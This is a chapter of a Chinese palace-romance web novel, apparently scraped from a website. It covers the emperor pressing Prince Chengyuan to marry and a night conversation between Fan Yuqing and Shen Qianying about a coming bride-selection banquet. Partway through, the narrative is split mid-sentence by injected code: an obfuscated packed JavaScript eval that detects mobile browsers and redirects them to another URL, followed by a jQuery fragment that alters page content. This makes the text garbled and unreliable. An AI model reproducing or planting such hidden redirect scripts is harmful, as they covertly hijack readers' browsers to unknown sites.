9. 谁敢嫁疯子

这些年,他只身一人,府内仅由一位侧妃,还疯癫着……


可她毕竟是狄太傅留下的唯一血脉,面上总归要过得去,虽是如此,但也耽误不得他娶妻纳妾。


“眼看就要立春了,皇后说宫里好些时日都没有热闹过了,便请了旨办个立春宴,到时候王公大臣家的贵女皆会入宴,你且选选,早日成亲,留下一儿半女也是好的——”


仁帝语重心长。


瞿公公瞧着承垣王默默不语,气氛实为紧张,更何况还是皇上的家事,便举着托盘退下了,刚退到门槛处,便听到承垣王嘲讽道:“本王若留下一儿半女,太后那里怕是不好交代,她可忌讳着本王,本王可不想自己的儿子与老子一样,不知何时死于非命。”


他从头到尾没提娶妻纳妾之事。


可他这话使得原本绷紧的气氛达到了极致——


令仁帝无言以对......这皇位,这天下是如何得来的,依旧历历在目。


先帝向来喜欢五弟,早已秘密立储,如若没有出现那件事,当今的大邺皇帝便是他了。


从前,他们兄弟二人向来要好,并无厮杀夺储之事,只因太后野心勃勃……


可如今也回不去了——


“母后她……”仁帝想替太后辩解几句,话音未落便听到瞿公公道:“皇上,临孜王来了。”


临孜王来的犹如及时雨,彷佛救了因天旱,颗粒无收等着老天爷降甘霖的农家老伯。


他看到五皇叔也在此,面上的笑意下去一大半。


他听说皇祖母惩罚樊家姑娘时,本想着做个救世英雄,以便日后让樊家姑娘感恩戴德,听他话顺他意,没想到五皇叔先他一步,快感瞬间全无。


所以,只能想其他办法了——


“父皇,五皇叔也在。”


仁帝看着面前这位纨绔,不务正业的儿子便一脸无奈,恨铁不成钢的样子,见他面带贼笑,真想抽他几鞭子泄愤。


“你来何事?”仁帝语气难测,但能听出些不爽。


“儿臣听闻未过门的王妃被皇祖母责罚,定是她惹了五皇叔生气,没了规矩......确实该罚,”他顿了顿,语气略微带了几分激动,“儿臣胆子也小,打算与她一同跟着五皇叔练练胆,作为皇家子嗣,日后若是因此出了丑,怕是被世人耻笑。”


说话间,他看向了低头把玩着鼻烟壶的五皇叔。


而此时,微微瞪大双眼的仁帝和瞬间停住手上动作的承垣王:“……”


面面相视,哑口无言。


他胆小?


他都能当着皇上与太后的面在监察御史的朝服上点火,当着皇后的面调戏小宫女,当着文武百官的面醉酒胡言,若是说他胆小,这世上便没有胆大的人了。


他若不是先帝最为宠爱的孙儿,有先帝亲赐的封号圣旨,如此不知轻重,怕是已经在诏狱掉了几层皮了。


“五皇叔,您便遂了侄儿的愿?”


“随你。”


承垣王对这个侄子确是出乎意料的‘宠溺’,打小便对临孜王睁一只眼闭一只眼。


可他脸上令人琢磨不透的笑意,令仁帝心中一紧。


他这儿子,怕是‘凶多吉少’了。


也罢,好好杀杀他的顽劣性子,如此也能与樊家姑娘同甘共苦,感情融洽。


……


戌时三刻,雨势已停,只剩树上滴滴水珠落入青砖缝里的水洼;夜里异常的安静,时不时还能传来巡夜侍卫的脚步声。


半柱香前,樊玉清醒了。


她醒来便瞧着背对她坐在榻边哭泣的僚子,衣袖掩面,每抽噎一下肩膀跟着轻轻地颤动一下,整个人蜷缩成一团,显得极为无助可怜。


这些日子,她连连生病遭殃,定是将她吓坏了——


她伸出皙白纤细的手指轻轻地拍了拍僚子的脊背,像是在安抚受伤因疼痛发出短促而尖锐的‘喵嗷’声的小猫似的,温柔至极。


“僚子,你怎么又哭了?”


僚子回过身子,紧攥住她柔弱的双手,带着哭腔道:“姑娘醒了......这话应是奴婢问您才对,这才几日啊,您都晕倒四次了,便是如来佛的身子也经不起这样的糟蹋——”僚子连续抽泣着,话说的也断断续续,“等出宫后,奴婢一定去玉贯寺烧香拜佛求佛祖,保佑姑娘顺遂,无病无灾……”


四次了……若不是僚子说起,她都没在意,原来她这条命这么耐得住折腾啊。


“傻僚子——”


举头三尺有神明,不畏人知畏己知,虽是如此,自己的命应由自己掌握,信谁不如信自己。


母亲与祖母是家中最信佛祖的人,整日香火不断,拜佛祈福,可佛祖呢,依旧没有保佑母亲,也没有让母亲如愿过,使母亲死的冤枉,活着更冤枉。


“若是姑娘不信佛祖,那奴婢便去求菩萨,求山神,求女娲娘娘,求月老……”


“好了僚子,我现在只想求你,找点吃的可好?这是眼下最能实现的。”


折腾这么久,未进一粒米。她知道僚子关心她,可她早已饿的前胸贴后背了,实在没有力气在这与她争辩着神啊,佛啊。


用膳过后,樊玉清虽脑袋昏沉,却怎么也睡不着,闭上眼睛便是无止尽的杀戮,以及这些日子发生的种种,焦愁难以入眠。


她便吩咐僚子点了几根蜡烛,眼前光明了倒是显得内心没有那么黑暗了。


‘叩叩声——’


坐在床前守夜的僚子起身前去查看是谁在叩门,嘴里还嘟囔着大半夜了,是谁这么闲散,自己不睡还不让旁人睡了的话语。


那瞬间,她像极了位小小的怨妇。


开门一瞧,原来是沈家的姑娘,僚子便立即换上了笑容,邀她进门。


“你果真还没睡,我夜里睡不着便出来走走,瞧着你屋里正亮着,便来了。”


“睡多了,便睡不着了。”


樊玉清近日隔三差五晕上一次,晕一次睡个两三日,乡下因年事已大辞官的外祖父都没有她睡得频繁,可不是睡多了嘛,难为她睡不着。


正巧她也缺个说知心话的人。


两人前搭后语的来来回回,在沈千莹转头那一霎,樊玉清见她面容憔悴,像是哭过的样子,便忍不住问了一嘴:“千莹,可是有人欺负你了?”


又或者是因为沈阔受伤的事?


“没,没有……”


她在说谎——


正巧樊玉清要再次问话


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15373587|168232||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


时,沈千莹率先开口:“玉清,你可知道临孜王要同你一道去军营了?”


那个纨绔色痞的殿下——


叫她‘便宜王妃’的伪君子夫君,要与她同往军营?


天哪,风向要变了,军营要变天了吗?


“现在知道了。”


“玉清,我好羡慕你,能有这般如影随形的夫君围绕在侧——”沈千莹说话的语气中带有几分嫉妒的意味。


羡慕她……


有什么好羡慕的,她的命好苦,本来一个活阎罗就够她喝一壶的了,如今再来位顽劣成性,色/瘾成魔的纨绔夫君,命待卒乎。


见过练胆,练功,练笔的,有见过练命的吗?


方才从沈千莹进门起她便被一股幽兰花香萦绕,听完这话,如今鼻尖处充盈着军营刀枪棍剑摩擦出来的铁锈味儿——


“不必羡慕,日后你定会嫁个如意郎君,钟爱一生的……”如今伪君子都在她的身边,那其她人总归是遇不到了,自然比她幸福。


沈千莹并未回答,只是浅浅一笑了事。


屋内沉默了一盏茶的功夫。


拉起樊玉清的手,沈千莹顷刻间换上了笑意,说道:“玉清,你便要解脱了。”


瞧着她一脸疑惑的模样,沈千莹再道:“听说皇上要为承垣王设宴选妃,他若是有了家室,倾心于家室,自然不会得出功夫再为难你了。”


承垣王......要设宴选妃!?


这样疯子般的人物,谁敢嫁?


是怕自己活的太久了吧!


他开心邀你去无间天堂随手吓个人玩玩,不开心请你去无间炼狱刮层皮,取个首级做盏灯笼......世上当真有女子会心悦他吗?


她轻轻地摇头,放低了声音问道:“可怜了他的侧妃……他既然如此痛恨狄侧妃,为何不杀了她,或是将她送去看不到的地方呢?”


何苦折磨她。


“狄侧妃的父亲是自承垣王小时便跟在身边的太傅,是承垣王的老师,对承垣王有救命之恩,若是杀了她,难堵悠悠众口——”


原来如此。


他果然很疯,连老师的遗孤都不能睁一只眼闭一只眼。


沈千莹离开时嘱咐她好好准备过几日的立春宴,她是临孜王的王妃可不要穿的过于随意,总归是不好看的。


况且,到时候各家贵女争奇斗艳,她若过于素雅,抹了本就喜欢浓妆艳服、娇媚女子的临孜王的脸面,那便不好了。


樊玉清颔首记下。


烛火晃呀晃,晃得她心里愈发沉闷。沈千莹说的在理,若是承垣王有了家室,自然不必将心思用在她的身上,便也解脱了——


不知为何,她开心不起来。


之前在太后面前撒谎也不是她本意,不随心的心境也不是她本意;如今这心也不由得她了,竟做出这般没有由头的事。


他可是残忍杀害母亲的罪魁祸首,她为何要这样呢?


恨,恨他才对!


她心中纠结着,打着莫名的架——


但他......为她打了孙嬷嬷,接连惹恼了太后……


不!这一点点小恩小惠的确不值得她感动,杀母之仇怎是几次感动了得呢。